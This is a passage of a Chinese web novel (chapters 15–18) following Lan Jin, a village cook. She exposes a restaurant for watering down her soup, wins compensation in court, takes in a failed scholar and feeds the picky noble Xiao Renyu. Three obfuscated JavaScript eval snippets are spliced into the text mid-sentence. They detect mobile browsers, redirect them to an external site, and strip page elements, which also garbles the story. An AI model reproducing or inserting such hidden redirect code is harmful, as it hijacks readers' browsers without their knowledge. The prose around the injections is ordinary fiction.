她要日日来，顿顿买，多亏天香楼，可教她找到一个宝藏小摊。 自从在天香楼喝过据说是在此售卖的菌菇肉汤后，云江望脑瓜子一转，既然做汤这么好喝，没道理做别的不好吃。 她一打听，果然寻到了这位小娘子的铺面。 蓝锦在老地方摆了好些时日的摊子，倒没见齐家的人再来找麻烦，连收保护费的地痞流氓都没见到过一个。 倒是有几个阎娘子认得的黑衣军爷比较奇怪，日日光顾她们这篇蓝记美食群。 言谈间还很是客气，只是点名要买蓝锦亲自做的食物。 萧仁禹窝在县衙的客房里，大哥已经走了，他还赖在此地不动，说着要体察民情，实际是用嘴来体察。 汁水饱满，外脆里嫩，饼吸了馅味，一切都是刚刚好，连调味也甚合他心。 萧仁禹潸然泪下。离开蓝小娘子，他过得都是什么日子。 蓝锦没有去住萧曼娘的房子。家里填了新进项，她要修缮屋子！ 村里的李二娃擅木匠活，蓝锦请他打了一扇新门，把原先那个缺角门换了去，连锁头也换了新。 窗子也新打了，糊了新纸，挡风又透光。人待在屋里，心里头亮堂。 还扯了厚布，拉了小帘子。如此一来，她要是想赖个被窝，就不会叫天光揪起来了！ 蓝锦忙前忙后，安琴见状，抱着茅草玩笑道：“要是你再喂口水、救上个人便好了。平白捡个壮劳力，帮我们修房子！” 15. 第15章 蓝锦认真地比划着窗棂大小，裁着窗纸，谈起萧仁禹： “琴姐姐可别再说啦，再来一个，吓都吓死人了。当初我可没想着要救人，我生怕他是歹人！” “荒郊野岭的，我是个独身女娘，乍然见到一个昏倒的男人，哪知是凶是善，谁想救他命了？” “远远叫他不答，才试着拿水壶嘴戳他。谁知更没动静了，我还当碰上了尸体，吓得拔腿就跑啊！我真以为他死了。” “合该是缘分到了。他看着不像个凶恶的，你又阴差阳错撞上了，也不算坏事。好好好，我不说了。你看这块要不要补？”安琴见她是真怕，笑着转移了话题。 可见人不能背后说人。安琴去后山挑水，打算做今日的豆腐，突然见着大路边有一大坨白花花的不明物。 “锦娘！锦娘！你快来！” 日日卖豆腐，安琴也练出了一把子力气，肩上扛着一个物什，急匆匆回了小院。 “琴姐姐，这......这是？” “看着像个过路的书生咧，晕在大路边，还背着个书篓子，也怪可怜的。” 蓝锦知道她想起了她当日晕在山里的事，动了恻隐之心。也没说二话，拿围裙擦了擦手：“我去请张阿婆来看看。” 张阿婆是村里的赤脚大夫，还会扎针。她在人胳膊上略扎几针，书生一阵急喘气，苏醒过来。 安琴不由分说就给他喂了水。姐妹俩一通盘问，才知他是今年的落第举子，一个人从梓州走到天都应考，现下盘缠花光，仍打算腿着走回梓州。 饶是安琴见惯了要强的蓝锦，也叫这倔强的痴人惊掉了下巴。 “这么遥远的路途，你便一个人走着来，还打算走回去？” 姐妹俩皆满腹惊疑。蓝锦也叫古代举子的毅力震慑住了，上千公里，人家就走着去！走了足有三个多月！ 言说再穷不能穷教育，人家这么穷了，都没耽误读书上进。 蓝锦当下就思量着，得给小秋紧紧发条。翻过年来，孩子长了一岁，现在已是七岁的大姑娘了。不能再叫她整日追撵小鸡了。 安琴倒是揣着另一个主意，她瞥了眼自从清醒过来，就满口“大恩大德”的酸气书生： “嗳，这次捡来的这个，虽看着肩不能挑，手不能提的，比不得上一个。但也识文断字，不若叫他给你当个账房报恩？” “琴姐姐就会取笑，上次那都是笔糊涂账。哪有这么多恩要报，给个馒头，让人走吧。” “嗨，难得碰上个识字的嘛！给小秋当先生也是好的。还说是举子？我听说啊，那举人也是很难考的，村里好些阖家供养，都供不出来一个！” 那瘦高书生听见话音，执意要留下报恩：“恩人高义，小生无以为报！若非恩人施以援手，小生连再看这世间一眼的机会都没有。身无长物，唯有己身，但凭驱策！” 蓝锦仔细与他分说了利害，好好的读书人，赶紧家去。温习三年，重头来过，才是正经。 书生摇了摇头：“谢过这位恩人肺腑之言。小生已无家人，也无家可回了。” 自从落第，他浑浑噩噩，全然是凭着惯性原路返回。 蓝锦与安琴对视一眼，终究没赶人走。 书生姓顾名知，越州人士。蓝锦这次懂了规矩，也学聪明了，去村长处盘查了路引户籍的真伪。 让他暂且住在小院外的茅草屋里。左右安琴已经住进小院里，空着也是空着。 这可比上一个的待遇好。小人鱼那会儿，可是睡的灶房，就跟给她守门子的侍卫似的。也亏他身强体壮的，跟没事人一样。 这一个就不大行了，蓝锦怕他那麻秆身板再给弄折了。 青苗婶子突然“咚咚”地敲门。 蓝锦心头突了一下，这个时辰，不该是小摊生意正好吗？怎么回来了？ 她这几日因修缮房屋，回来了一段时日，只托村里的婶娘们捎上东西，每日清晨去天香楼送一趟货。 “青苗婶子，快进来喝口水，怎么回事？发髻都散了。” “锦娘，快跟我走。有人在天香楼和我们摊子前闹事，说蓝记的汤品偷工减料，赚了钱就奸猾。” 蓝锦忙上了驴车，一路尘土，速速奔往县城。 “这汤，寡淡如水，竟还卖我们五百文！黑了心肝，烂了肺肠，这是把我们当傻子啊！” 齐二郎一蹦三尺高，他琢磨了，那日对他下黑手的，肯定是这个小娘子。 不止如此，他再想来蓝记摊贩群附近，便有凶神恶煞的黑衣人远远就把他撵走了。 好哇，怪道说她不怕地痞流氓，原来她本人就是地痞流氓！ 道上混的，哪里怕同在道上混的！跟他搁这儿玩大水冲了龙王庙呢！ 他就说，为何这些时日，蓝记的摊子，连讹钱滋事的都没有一个！ 好容易等蓝锦这几日不在，齐二郎得以去天香楼过过嘴瘾。他这死嘴，也是不争气，偏就想和蓝记寄卖的瓦罐汤。 只是这一喝，不对味了，他又是大叫一声。 不是烫的，是：“这汤有问题！” 齐二郎眼利，一眼盯住了赶来的蓝锦：“打量你傍上天香楼了，我便不敢说了吗？这汤没滋没味，就跟白水兑的一般，也敢卖五百文。” “你不是堂堂正正，有手有脚吗？现下，想钱想疯了吧！” 蓝锦听着这话，已经眉头紧蹙。五百文？早先萧曼娘跟她说的，一直都是三百文啊。 按这个价，利润五五分成，她才有了契子上定下的进项。 她走上前来，要来一份汤品，拿小勺子一尝，不等咂摸，已经觉出了不对： “这汤好淡！” 就跟叫人加了一倍以上的水，重新熬煮了似的！ 蓝锦二话不说，抛下气急败坏的齐二郎，提着裙摆就奔进了天香楼，打算找萧曼娘分说个明白。 “哎哟，这不是蓝小厨娘吗？什么风把你这个大忙人给吹来了？” “萧掌柜，这汤如此之淡，是怎么回事？” “哎哟哟，瞧这火急火燎的，就为着这事啊？” 蓝锦不理她的攀扯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541958|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只当看不见萧曼娘的眼色，站在大堂里定住不动。 “嗨，你这个倔女娘，真是，多大点事儿啊。你不懂，开酒楼啊，有林林总总的成本，你见着的都是面上的，我也为难啊。” “当初定契子的时候，说好五五分账。二十文的进价，从我这里拿一罐汤。当时你说，一罐卖三百文，减了成本，你我二人各赚一半，你都乐得合不拢嘴。” “现下，明明一罐卖五百文，你还要私自往里面兑白水？打着我蓝记瓦罐汤的名头，你不要招牌，我还要招牌！” “你这女娘，怎么说话的。来人呐，把蓝小娘子请去雅间上座。” “萧掌柜，别着急啊。你打量着酒楼家大业大，随便一动作，利钱倒比寻常人家一年的嚼用都多。只要每日一点点往汤里兑水，如此就神不知鬼不觉。” “精于饮食、日日品鉴的还是少数，多数人来你这酒楼，还是出于惯性，或看重环境，或吃个身份面子。” “便真有人吃出来了，也不过觉得，可能是新鲜劲过了，厌倦了，觉得不如从前好吃，也是难免，只默默不来了便罢。” “这也不耽误萧大掌柜你赚钱，偌大酒楼，永远都有新鲜的人来，没人能取代了你的地位！” 萧曼娘虽老道精明，此刻让一个年轻女娘当众叫破她的心思，也是难堪，后背沁出涔涔的汗。 蓝锦气势不输：“也是该你倒霉！碰上了我这样的厨子。从此，我与萧掌柜的合作破裂，我也再不会踏足这没诚信的天香楼。” 萧曼娘慌了神，蓝记的瓦罐汤着实为她家赚了一笔，她也不愿放弃这个金疙瘩：“蓝锦！你毁约，可是要赔盈利的三倍！” “赔便赔，我怕你做甚。不过，萧掌柜，我可提醒你，是你的过失使得合约破裂。谁赔谁的银子，我们公堂上见。” 蓝锦利索转身，走到大街上，对众人说道： “诸位，最近有买过蓝记瓦罐汤的，明日起请来蓝记小摊，有免费吃食相赠，权当赔礼。有肉噢！” 人群一阵嬉闹。把围观了蓝锦酷帅carry全场的齐二郎淹没其中。他个子不高，使劲跳也没人看见。 倒亏得他好些时日没喝上瓦罐汤，今日一尝，区别立显。 蓝锦急急赶回家，她要准备明日的无骨鸡柳。 粉红的鸡脯子肉，去了筋膜，横着片成几片，顺纹切成粗条。这是柴的部位，成本比鸡腿便宜。 调葱姜水，撒盐、糖、蘑菇粉，山里药铺里凑齐的香料粉，便把鸡肉条扔进去搅打上浆。 眼见水被吃透了，蓝锦把它湃在井里，还好气温不高。她机灵，此前还存了河冰，正好用上。 明日，用自家滤的淀粉，调了浆，裹第一层。干馒头屑，碾碎成细末，挂第二层。 萧仁禹今日也没喝上瓦罐汤，也没吃上炸串卷饼，好容易豁出脸皮主动一回—— 他想起在蓝锦家门外听着的话，一时委屈地想“我还当你只捡我一个”。 一时又恨恨地想“原来你根本没想救我！”还当他是尸体！ 16. 第16章 蓝锦一出摊，万年县的住户们沸腾了。天香楼地处中心地带，昨日那件事闹得沸沸扬扬。 听闻蓝锦还往衙门递了状纸，这下，在场的不在场的都被勾起了好奇心，翘着腿等着看事情的下一步进展。 还有些食客细细一盘算，往日没有思忖过，听了蓝小娘子的话，如今一想，天香楼的利润，可是真大啊！ 现下不用花那十几倍的差价，直接就能吃上蓝小娘子的手艺，谁不干？ 何况，蓝小娘子这次还不收钱！ 作为呈堂证供，蓝锦早已借助县衙的差役，合法合规地从天香楼里拿来了蓝记瓦罐汤相关的账本。 故而那些没上过天香楼瓦罐汤的当，还冒充苦主来领无骨鸡柳的，蓝锦都笑着挡回去了。 “蓝小娘子，这么香的东西，若不能领，我们如何才能吃到啊？” “若想吃的人多，往后我还长期做，郎君若是不放心，尽管来付定钱，我好采买食材啊！”蓝锦与他开玩笑。 有路过的女娘一听这话，当下挤开人群，钻到蓝锦面前，把一吊钱往桌上一拍。 “蓝小娘子，我定了！这些钱够不够你买食材的？”云江望一副义薄云天的架势。 蓝锦小小地吃了一惊，真有这么天真的客人。 她要把钱还给人家，云江望摇摇头：“蓝小娘子留着吧，只要以后有什么新品，第一个想着我就好了！我家是玉瓦街第一户，门口两个石狮子的云家！” 蓝锦半推半就地依言收下了，也认真地承诺：“好，以后这位小娘子就是我家的维维维爱皮会员，享受最顶尖的贵宾待遇。” “没错！不管蓝小娘子的店开到了哪里，就是开去了天都，我也打马追着去吃！”云江望笑开了花，又潇洒地上马走了。 客人们都叫她逗笑了，蓝锦也笑。迟钝的客人还在无意义地笑看热闹，机灵的客人已经抢先奉上定钱： “蓝老板！给你，我能不能也做一个爱皮会员？有好吃的，立刻知会我一声。” 蓝锦无奈，一一谢绝了：“现下我只是一家小摊子，不能提供多少服务。往后若我有幸开了店面，再来办会员也不迟。” 有人只惋惜：“来晚一步，人家蓝小娘子，不收那么多会员。” 有人顺着话头祝福道：“那我等着，蓝老板一定得早日把铺面开起来！届时我立刻去做会员。” 如今还是吃一吃无骨鸡柳解馋比较好。鸡肉条在馒头细屑里裹得均匀，拈着都不粘手。 香料油还是炸串时兴师动众的那一款。锅里油不算太多，只待边缘冒着细小的泡，有五成热了，蓝锦便把鸡柳一根一根往锅里放。 使长筷子不停划拉，不过一会儿功夫，鲜嫩的鸡柳炸成金黄色。 蓝锦依着客人的需求，撒上椒盐粉，茱萸粉，酸梅粉，或是自家熬煮的番茄酱。 放进嘴里“咔嚓”一咬，满嘴爆汁，真个是外酥里嫩！ 大人小孩都被吸引了去。齐二郎也蔫嗒嗒地捧着托人领来的无骨鸡柳，含泪怒吃一大包！ 啊啊啊太好吃了！ 他怎么就嘴贱，招惹道上混的蓝小娘子。 真是造化弄人，世道不公。小娘子道上混那么开，还来开食摊。 这莫非就是传说中的为爱发电？纯粹传播美食技艺？ 是他浅薄了！竟敢拦着蓝小娘子造福百姓、弘扬美味。 真是搬起石头砸自己的脚。如此神秘无私的蓝小娘子，那得多热爱厨艺，做饭得多好吃啊！ 他以后想正大光明吃一回蓝小娘子做的吃食，都不能够了。 他真该死，真该死啊！ 萧仁禹还在县衙客房盘桓。卢县令供着这尊大佛，心里也是打鼓。萧老将军的遗泽，万年县可人人感念。 只是，没听说翰林院的大人们，要在万年县有什么不得了的公干啊？ 这位清贵文臣，是萧将军带来的。他走了却不负责把这金贵人带走，还抛下几个军爷守着。一行人整日脸色黑沉，虎视眈眈，这却向哪说理去。 难不成他要右迁御史台，提前往地方上体察吏治民情？ 县衙的判状来得很快，快得出乎蓝锦的意料。 萧曼娘的天香楼违约，私自破坏蓝记的秘方，致使合约终止，按实际利润赔偿蓝锦三倍银钱。 卢县令抖着胡子，觑着行至此处，彷佛随意拈起状纸的萧仁禹。 自己判得铁面无私，连合约里的不利漏洞都补上了。绝没有那收受贿赂、与民争利的事，不会影响考评吧？ 萧仁禹放下状纸，面无表情地走远了。 蓝锦驾着驴车，唱着歌，赶着回家给安琴和小秋报信。 安琴本就悬着心，只是不愿在小秋面前表现出来。孩子不知世事，回头再给吓着了。 “琴姐姐，小秋！大获全胜，没事了，我们还有钱了！” 蓝锦拎着两个猪脚，喜盈盈地进了门。 “哎，那就好，一惊一乍的，还怪吓人的！” “可不是！好在有惊无险，今日我做个黄豆焖猪脚，咱们家好好庆贺一番。” “好诶，好诶！”小秋率先响应，放下阿姐买的木头小车，一骨碌蹿下炕，去灶间给阿姐生火。 蓝锦哼着不成调的小曲收拾着猪蹄。难得的机会，她看生肉铺子里有两个肉嘟嘟的猪蹄没人要，正好让她打打牙祭。 黄澄澄的豆子洗过沥水，锅里不放油，直接下去炒出香味。 蓝锦也吃过那种自家做的炒豆子，只用些许薄盐，大锅翻炒，一咬就嘎嘣脆。 嚼得越久，浓浓的豆香越充满口腔，甜甜的。 安琴把猪蹄用火燎过，蓝锦接过来，添冷水下锅，加些去腥增香的葱姜米酒。 等焯好水，捞出白生生的猪蹄，还得用热水洗洗干净。 蓝锦是炒糖色的一把好手，油温激发焦糖香味，殷红透亮。 把白白的猪蹄和葱、姜、辣椒、香料、酱油往锅里一倒，直炒到猪蹄完全变色，成油亮亮的棕黄色。 添进热水，香喷喷地炖上小半个时辰，各种调料的味道就沁进了猪蹄。 再把炒香的黄豆倒进去，小火咕嘟着。 又过了快半个时辰，猪蹄皮也耙了，肉也烂了，已经变成了深深的酱红色。 每一块都油光发亮，香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541959|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味更盛。 这时候添些盐，用大火把炖猪蹄的汤汁收得浓浓的，粘粘的。 猪蹄的胶质全锁在这一大盘子里，用筷子毫不费力地就能扯下一块皮。 抖一下，又弹又糯，还挂着粘稠的汁。 铺一层到米饭上，再浇上一层裹着黄豆的汁。 酱色的汤顺着软糯赤红的猪蹄流到白米饭里，每一颗米粒都浸满了肉汁的味道。 这菜如果放到现代，高低也是一个饭馆里的扫地僧，值得凌晨一点爬起来排队的那种！ 姐妹三个吃得酣畅淋漓，对比顾小书生慢条斯理的模样，更是豪迈。 “顾先生，我们家着实没有什么复杂的账目，不过小本生意。不是我赶你走啊，只是若耽搁了你的课业，我心里也过不去的。”蓝锦趁势道。 “小秋娘子悟性很好，我带她读书，重读开蒙时的书籍，也能整理思绪。” “我便是从前在读书一途走得过于顺了。像七八岁这个年纪，我已经把四书倒背如流，开始写策论了。” 蓝锦撇了撇嘴，搁这跟她凡尔赛！ “我们小秋可是去年才开蒙，如今都会念好些诗文了，学堂里没有不夸她聪慧刻苦的。你不过是练习的时间长了些，以后，我们小秋一样能行。” “是是是，蓝小娘子，是小生唐突了。我，我不是那个意思。我，我是想说，从前我懵懂无知，不懂珍惜。” “家道中落之后，才陡知世事变迁。赶考路上，见了风土世情，也是进益良多。”顾知叫米粒呛得脸通红。 “我只是想说，近日在此间，我又有所悟。恳请小娘子允我一碗饭，我定会卖力干活，诚心教导好小秋娘子。” 安琴与蓝锦嗤笑，这个锯嘴葫芦，今日倒是洋洋洒洒说了这一长篇。 “我们小秋日日上学堂，有正经先生。不过下学之后，撒丫子跑的时候，边跟我聊天，边听他几个故事罢了！还诚心教导小秋娘子......真会逗笑！” 安琴用手掩着唇，在蓝锦耳边窃窃。两姐妹笑成一团，顾知更加面红无措。 蓝锦到底开了腔：“顾先生，你实在想留，便照常在茅屋住下便是。你确实理得一手好账目，我只当雇了个人吧！” 她也不愿破坏读书人的参悟，不过一碗饭罢了！ 安琴也道：“不能偏心，我那豆腐坊的帐，你也要一笔一笔，与我对对分明。错了一样，便不给你饭吃了！” 姐妹两个又笑。 热闹是她们的，萧仁禹什么都没有。 他听人墙角上了瘾，扒在蓝锦一家新修的砖瓦上，眼神专注地盯着餐桌。 旁边两个黑衣军汉，脸比衣服还黑。这叫什么事儿啊？大将军把他们扔给二公子，下了死命令，认二公子为主，使命必达。 他知道二公子变成这副模样了吗？ 萧仁禹心中默念，才多久啊，都上桌吃饭了。 还有说有笑的，只怕明日都该换了庚帖了。 把他放在什么位置？眼里还有他吗？他给她干了那么多活，都白干了？ 不就穷酸书生吗，他也能写会画，他还搁翰林院编书咧！ 17. 第17章 “锦娘，今日又卖什么？”落霞村的女娘们借了蓝锦的光，又经了前些时日的风波，她们的小摊越发红火。 人人都乐得抽一成的收入送与蓝锦，谢她不时提携指点自家。 “还是无骨鸡柳！”蓝锦笑嘻嘻地支开摊子，热了油锅，“刺啦啦”地往里放鸡肉条。 无骨鸡柳着实诱人，算起来成本也不高，自从那次瓦罐汤赔偿事件，万年县几乎无人不知蓝记炸鸡柳。 一到下学的点，蓝锦的摊子上就挤挤挨挨地围了好多小萝卜头，个个闹嚷嚷的。 还有人干吃不掏钱：“记我爹账上！” 蓝锦捉了他的小灰手，不叫他拈着鸡柳吃，拿干净湿布给他擦了：“我这里可不兴记账那一套，这根就当送你的了，回家洗洗手，以后有钱了再来吃。” 小脏手脸一红，挣开蓝锦跑了。 多数孩子早知蓝记的规矩，个个攥着小桐板，扬着手高叫道： “蓝姐姐，蓝姐姐，我要一份鸡柳，要酸甜的！” “好嘞！” 这些孩童都爱来蓝锦这买吃的，一是因为口味实在好。 二是因为蓝锦不欺负小孩，只把他们当大人看，或说把她自己也当小孩。 总之，蓝姐姐和他们，是一样的人，一样的心！ 不仅给每个孩童顶顶满的分量，比大人来买还要多。 而且他们说什么，蓝姐姐就听什么，说想要小份装的，省钱还能尝个味道，蓝姐姐马上就出了小份，价钱还砍半。 今日，这群活蹦乱跳的小萝卜头陡然出现一个大块头。 蓝锦抬头一看，夹在人群中间的，是多日不见的萧仁禹！ 穿着靛蓝袍子，打着折扇，浑身透露出一股谪仙气质——却大剌剌地站在一群跳跳糖一样的孩童间排队。 萧仁禹：脸面算什么，能当饭吃吗？ 蓝锦扑哧一笑，等排到他时，还打趣道：“郎君吃大份的，还是小份的。如此童心未泯，不若仿个全套，就吃小份的吧！” 萧仁禹维持着冷冷的神色：“大份，我要十份！” 一群孩童发出抗议：“这个大块头哥哥，我看你好看，才没叫你叔叔的！真羞羞脸，跟我们小孩子抢吃的。” “你真是坏人，蓝姐姐一次才炸多少份，你买了，我们好些人都吃不上了。”奶声奶气的娃娃音对萧仁禹做出审判。 蓝锦大牙都快笑掉了，萧仁禹，你也有今天！ 她忍住笑，还是先顾好自己的小顾客，还撇清自己和这位坏人的关系：“这位郎君，这个时辰学堂刚放学，大家都饿着，一般大人来买，都是有意错过这个点的。你买的太多啦，不若郎君也稍等片刻，等我先卖完大家的？” 萧仁禹还想说：怎么？那我也排队了。 但他的脸皮还没有突然厚到和小学生对呛，悻悻地搬起小马扎，坐到蓝锦身后了。 李娘子倒又来见缝插针，给萧仁禹推销竹筒饭。他淡淡地瞥了一眼，傲娇地把头扭到一边了。 “一对犟货。”李娘子嘟囔着回了摊子，自家吃了。 一波又一波的热闹退场，婶娘姐妹们都陆续走光了。 蓝锦刚送走最后一位小客，开始收拾摊车，这才想起来身后还坐着一个大冤种。 “哎呀！把你给忘了！勿怪勿怪，实是今天太忙了。书院前些时日小考，学生们都积到今日才出来放风。” 萧仁禹倏地起身，撩一下风度全无、皱巴巴的长袍：“你还知道把我忘了！” 蓝锦听他讲话不像好音，便也迎头呛道：“怎么，萧大公子是天天给我送金还是送银了？指望我天天记着你？你若是改头换面，长成灶王爷、关公爷、财神爷的模样，我天天记得你，日日想念你！” “你！放浪形骸。”萧仁禹面上一抹薄红。 蓝锦瞥他一眼：“这就叫放浪形骸啦？那你跟小孩子抢饭，算不算放浪形骸？” 萧仁禹找到了把柄：“我好好地排着队，本来该卖给我的，缘何你听信了旁人的谗言，偏偏把我略过了！这下可好，现在一根肉丝都没了！” 蓝锦瞧着他一笑，变戏法一般掏出一个小盆，里头满满登登都是腌好的鸡肉条。 “我早先就留好了的，十份大份鸡柳，一根都不少你的！” 萧仁禹嘴唇翕动，最终什么话也没说出来，无他，这炸鸡柳太香太香了！ 眼看抱着十袋炸鸡柳风卷残云的萧仁禹，蓝锦心里忍不住嘀咕： 邀她来县衙客房小叙，他这是什么身份啊？ 请她吃这县衙的便饭就算了——有鸡有鱼，看着还挺丰盛的，可是他又一筷子也不动，只抱着鸡柳大啃特啃。 蓝锦看不下去了，问萧仁禹：“你为什么不动筷子。” 萧仁禹慢吞吞、极珍惜地咽下口中鸡柳：“我不爱吃。” 蓝锦瞪大了眼睛：“你不会真跟挑食的孩童一样，只吃零嘴，不吃正餐吧？” 为何传出挑食之名的多是孩童，一是因为孩子味蕾敏感，好多大人吃不出的味道，孩童吃得出，所以不愿碰。 二是因为，大人决定每天吃什么，当然只选自己爱吃的，他们当然就不挑食！ “小娘子有一点说得不对。不是只吃零嘴，是只吃小娘子做的零嘴。不，是只吃小娘子做的吃食。眼下，我已经饿了好多天了。” “这叫什么话，莫非你碰上我之前，还不吃不喝了？”蓝锦仍旧不屑一顾。 “吃，只是宁愿饿着，也吃不了多少。”萧仁禹认真道。 蓝锦不允许这样没有食欲的人事出现在她的餐桌！ 她当即一撸袖子，问道：“厨房在哪里？可能借用？” 萧仁禹巴不得如此。他请人到这来，就是为了这个，只是不好意思开口罢了。 立刻也站起身，殷勤地给蓝锦指路：“尽管用！” 蓝锦推门进了厨房，袅袅烟火气扑面而来。几个帮厨一见生面孔，立刻警惕地放下锅铲：“没规矩！这是县衙，谁许你进来的？” 萧仁禹跟上来摆摆手，叫他们都退下了。 蓝锦心思只在饭食上，扫了眼灶间的食材和调料，也不打算做太过复杂的。略一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541960|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思忖，定下了几份火候热炒。 回头一看，萧仁禹也缀在后头一并跟来了，抱着鸡柳，贪恋地看她动作。 连君子远庖厨都顾不得了，看来是真饿了。 蓝锦手脚利索，步骤安排又得当，几道菜一端上桌，萧仁禹的筷子就如游龙一样走了起来。 县衙的杂役，连那几个帮厨，都围拢了过来，咽着口水议论着。 一道厚切炒猪肝，不同于自家年夜饭上的薄切做法，厚切的猪肝更嫩，更大块。 一口下去，肉香盈口，火候多一分则多，少一分则憾。更满足，更解馋。 一道腐皮炒小白菜，绿油油的菜叶子叫蓝锦提前抓匀了薄盐。 这腐皮还是安琴上回把自家豆制品拿到县城寄卖，萧仁禹巴巴地让人买回来的。 每一口都伴着香味十足的油腐皮，口感上又好似吃肉，一口接一口停不下来。 萧仁禹面色还是冰山样，只优雅地风卷残云，眉头都不动一下，吃得飞快。 一道雪绵豆沙，这可是功夫菜中的功夫菜。 因油温控得好，糖粒子的甜度又得当，吃上一口好似在棉花团中醺眠，里头的豆沙细腻，甜到人心里去。 萧家每日都有小厨房做好的点心，他对豆沙并不陌生，甚至有些腻烦，今次却觉出别样的新奇。 蓝锦再端来一碗阳春面，几粒葱花，汤底澄澈，油花清亮。 二人相对，埋头苦吃，蓝锦问道：“你究竟是什么身份，缘何能住进县衙的客房？我用了他们厨房和食材，真不会有事？” “我是书生！用厨房没问题。”萧仁禹立刻回答。 “就你，书生？”这一身腱子肉，这是书生？打量她没见过书生？ “没错，我哪里不像书生？蓝小娘子莫非又要以貌取人了。从前把我认成贼人，认成尸体。现下连书生都不让我做，真是霸道。”萧仁禹慢条斯理地夹起一筷子面条，置于勺中吹凉。 这人怎么还知道她以为他是尸体？ 蓝锦顿了一下：“身正不怕影子斜，那你怎么不从自身找找原因？” “小娘子傲睨万物，自视甚高，自然看谁都獐头鼠目的。” “我自视甚高？你真会说笑。书生我见得多了，没见过你这样一时睡在深山老林，一时赖在乡下人家不走，一时登堂入室进了县衙的！手段甚高！” “小娘子倒好心，深山老林里，见了一个捡一个，怪不得见过那么多书生。说我不走，你家里那个书生不也还在？你怎不说他赖着不走，莫非是小娘子主动留的？” “嘿，你这人，真是会倒打一耙！好心救你，把你当个朋友，你还胡搅蛮缠起来了。说什么只能吃我做的饭，这饭也别吃了，还给我，你就饿着吧！” 蓝锦去夺萧仁禹手中的碗筷。他只当是在马球场上操控小球，面不改色。动作灵巧得好似金明池中锦鲤，势要胜过蓝小娘子。 二人胶着住了，屋里的动静越来越大。 正在此时，膀大腰圆的李厨子，手拿炒勺冲将过来：“是谁？哪个宵小动了老子的厨房？” 18. 第18章 李厨子最近走霉运，他本来在卢县令家中做得好好的。满城人提起县令家的李厨子，谁不是交口称赞。 哪承想自从来了个乡下村姑，做了道柴火鸡，他的风头就被盖过去了。 “这位客人可是万年县的贵客，卢大人把这个重要的任务交给你，你务必把他伺候好了。” 这下好了，一卷铺盖，把他从卢府厨房总管，赶去县衙客房的临时小厨房。 等送过去的菜色回回都原封不动地送回来，言说不合口味。任凭他使劲浑身解数，也没有任何改变。 李厨子这才后知后觉：给他这么个棘手任务，莫非是要给他下最后通牒，撵他走人了？ 今日刚做好饭，不过出门抽袋烟的功夫，回去一看，小厨房食材竟然少了大半，处处是叫人动过的痕迹。 他立时觉得不好，定是有人要借机生事，捅到主家那里害他！ 厢房中的贵客还在，只有一个生面孔。李厨子忙恭谨行礼：“大人，老奴不是有意冲撞，小厨房刚刚叫贼人动过手脚，只恐今日的菜色有问题。请容我先报知卢大人，查查清楚。” 萧仁禹一个劲冲他使眼色，叫他不要再多说。免得把自己的身份露出来，丢人。 蓝锦白了一眼萧仁禹：谁说的用厨房没问题，现在问题就找上门了！ 李厨子抓着一个在门外看热闹的杂役，遣他去知会大人。自己作势就要上前，把桌上的菜都端出去倒掉。 蓝锦忙起身阻拦：“哎，你这人好不讲道理，好端端的菜，倒了多浪费啊。” 只是，李厨子闻着这少见的香味，心中升起一阵怪异的熟悉，忍不住拿鼻子嗅了又嗅。 这风格，这美味，就是那天的乡下村姑！ 蓝锦见他认出了自己，想起当时去卢府做柴火鸡时，听见他在一旁说的风凉话，心中也是惴惴。 这人一副眉头紧锁、怀恨在心的模样，不会真的拿她去县令面前说事吧？ 她也真是，怎么就轻信了萧仁禹这个餐风饮露的。万一有什么要人命的条陈规定，可怎么办？ 取缔了她家的小摊生意便罢，要是随便给人投进大牢，危及性命，也不是没有可能！ 客随主便，蓝锦摆上一副笑脸：“李大厨，真对不住，我不该不打招呼，就擅用了你的厨房。” “实在是这位说什么都不愿吃，饿了好些天。还捧着我家零嘴当饭，我看不过眼，这才一时兴起做了几道。” “他倒是吃得挺满意的”，蓝锦往旁边瞥了一眼，“要怪，就怪他吧，万万不关我的事啊！你放心，我再也不会踏足你的厨房了。” 李厨子面上一阵青，一阵白。 什么都不愿吃......饿了好些天......拿她家的零嘴当饭......吃得挺满意...... 须知，这些天，可一直都是他给这位贵客做饭！人家就根本没动过筷子，永远怏怏的。 这不是打他的脸吗？ 蓝锦看着李厨子面上风云变幻，心中暗道不好。这位卢府的厨子，看上去，还跟上回一样小心眼啊！ 她偷偷打量着周围的地形，思忖着能不能翻墙逃出去。好在县令派人来之前溜掉。 只恨她不会轻功。 萧仁禹终于稳住了自己的饭碗，根本不在意当下发生了什么，又恢复了优雅而迅捷的进食。 